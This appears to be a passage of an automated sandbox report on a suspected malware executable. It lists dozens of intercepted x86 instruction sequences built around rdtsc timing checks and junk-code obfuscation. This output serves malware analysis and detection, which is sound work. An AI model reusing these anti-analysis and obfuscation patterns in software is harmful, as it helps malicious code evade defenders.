Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80226E second address: 802272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 802272 second address: 802278 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 802278 second address: 80229E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCBAD522AB9h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80229E second address: 8022B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCBACB2D116h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FCBACB2D116h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8022B1 second address: 8022B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 800952 second address: 800971 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007FCBACB2D11Fh 0x0000000e jo 00007FCBACB2D116h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8023DA second address: 8023DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8023DE second address: 8023E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8023E4 second address: 802408 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCBAD522AADh 0x00000008 jc 00007FCBAD522AA6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 js 00007FCBAD522AA6h 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 802408 second address: 802412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FCBACB2D116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 802412 second address: 80244B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jmp 00007FCBAD522AAEh 0x00000015 jnp 00007FCBAD522AACh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80244B second address: 80245C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jno 00007FCBACB2D116h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80245C second address: 802463 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806015 second address: 80601B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80601B second address: 806021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806021 second address: 806056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Fh 0x00000007 jnc 00007FCBACB2D12Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806056 second address: 80606C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FCBAD522AA8h 0x0000000c jnp 00007FCBAD522AAEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8061A0 second address: 8061A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8061A6 second address: 8061B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007FCBAD522AA6h 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8061B5 second address: 8061BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80647A second address: 806493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AB3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806493 second address: 806498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806498 second address: 8064A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FCBAD522AA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806764 second address: 806768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806768 second address: 80676E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80676E second address: 806780 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FCBACB2D116h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806A25 second address: 806A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806A2B second address: 806A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 806A32 second address: 806A52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB6h 0x00000007 jc 00007FCBAD522AACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8099FE second address: 809A02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 809A02 second address: 809A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 809A08 second address: 809A0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 7C50BD second address: 7C50C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80A68B second address: 80A6A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBACB2D127h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80A6A6 second address: 80A6B9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCBAD522AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80A6B9 second address: 80A6D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D127h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80AA60 second address: 80AA64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80AA64 second address: 80AA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80B029 second address: 80B02F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80D5CC second address: 80D5D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80EAB4 second address: 80EABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80E841 second address: 80E846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80EABA second address: 80EB34 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCBAD522AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FCBAD522AA8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 jo 00007FCBAD522ABAh 0x0000002f jo 00007FCBAD522AB4h 0x00000035 call 00007FCBAD522AADh 0x0000003a pop esi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007FCBAD522AA8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 push 00000000h 0x00000059 mov esi, 4CC325E2h 0x0000005e xchg eax, ebx 0x0000005f push edi 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80EB34 second address: 80EB4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80F307 second address: 80F320 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80FFBC second address: 80FFDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D127h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80FD8E second address: 80FD93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80FD93 second address: 80FDAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jmp 00007FCBACB2D11Fh 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 810B43 second address: 810B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 810B47 second address: 810B4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 810C0D second address: 810C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 810C11 second address: 810C32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D129h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 810C32 second address: 810C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 811397 second address: 8113A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FCBACB2D116h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 813A99 second address: 813A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 813A9D second address: 813ABD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FCBACB2D124h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 813ABD second address: 813AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 814A29 second address: 814A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBACB2D127h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 818ED5 second address: 818EDA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 816A4D second address: 816A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 818EDA second address: 818EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 ja 00007FCBAD522AB2h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 816A56 second address: 816A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 816A5A second address: 816A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 818EF9 second address: 818F56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D125h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov dword ptr [ebp+1247EE46h], ecx 0x00000011 push 00000000h 0x00000013 mov edi, 14305337h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007FCBACB2D118h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 xor edi, dword ptr [ebp+122D1B18h] 0x0000003a xchg eax, esi 0x0000003b jmp 00007FCBACB2D11Bh 0x00000040 push eax 0x00000041 pushad 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 818F56 second address: 818F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8190C0 second address: 8190C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8190C5 second address: 8190CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81A092 second address: 81A098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81A098 second address: 81A0C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCBAD522AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCBAD522AB9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81BE68 second address: 81BE6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81BE6C second address: 81BF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FCBAD522AA8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b xor dword ptr [ebp+122D218Eh], edi 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 xor dword ptr [ebp+122D178Ch], esi 0x0000003e mov eax, dword ptr [ebp+122D1449h] 0x00000044 or di, 9EB6h 0x00000049 push FFFFFFFFh 0x0000004b jmp 00007FCBAD522AB6h 0x00000050 nop 0x00000051 pushad 0x00000052 jmp 00007FCBAD522AB4h 0x00000057 jne 00007FCBAD522AA8h 0x0000005d popad 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 push edi 0x00000062 jno 00007FCBAD522AA6h 0x00000068 pop edi 0x00000069 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81BF01 second address: 81BF1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBACB2D128h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81EBEC second address: 81EBF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81EBF2 second address: 81EBF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81EBF7 second address: 81EC14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBAD522AB9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81FBE7 second address: 81FBEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81FBEB second address: 81FBF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 820BC9 second address: 820C47 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCBACB2D118h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push eax 0x00000010 sub ebx, 4BCAF1B2h 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FCBACB2D118h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 mov dword ptr [ebp+122D2905h], ebx 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push ebp 0x0000003e call 00007FCBACB2D118h 0x00000043 pop ebp 0x00000044 mov dword ptr [esp+04h], ebp 0x00000048 add dword ptr [esp+04h], 00000018h 0x00000050 inc ebp 0x00000051 push ebp 0x00000052 ret 0x00000053 pop ebp 0x00000054 ret 0x00000055 jl 00007FCBACB2D11Ch 0x0000005b xor ebx, 74DCD108h 0x00000061 mov edi, dword ptr [ebp+1245338Dh] 0x00000067 push eax 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c jp 00007FCBACB2D116h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 820C47 second address: 820C51 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCBAD522AA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 823328 second address: 8233AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBACB2D128h 0x00000009 popad 0x0000000a pop edi 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FCBACB2D118h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007FCBACB2D118h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 0000001Dh 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 push 00000000h 0x00000044 mov ebx, dword ptr [ebp+1247EDF2h] 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c jmp 00007FCBACB2D11Dh 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8233AB second address: 8233B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81CF02 second address: 81CF06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8241AB second address: 8241B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCBAD522AA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8241B6 second address: 8241C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FCBACB2D116h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 81CF06 second address: 81CF0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
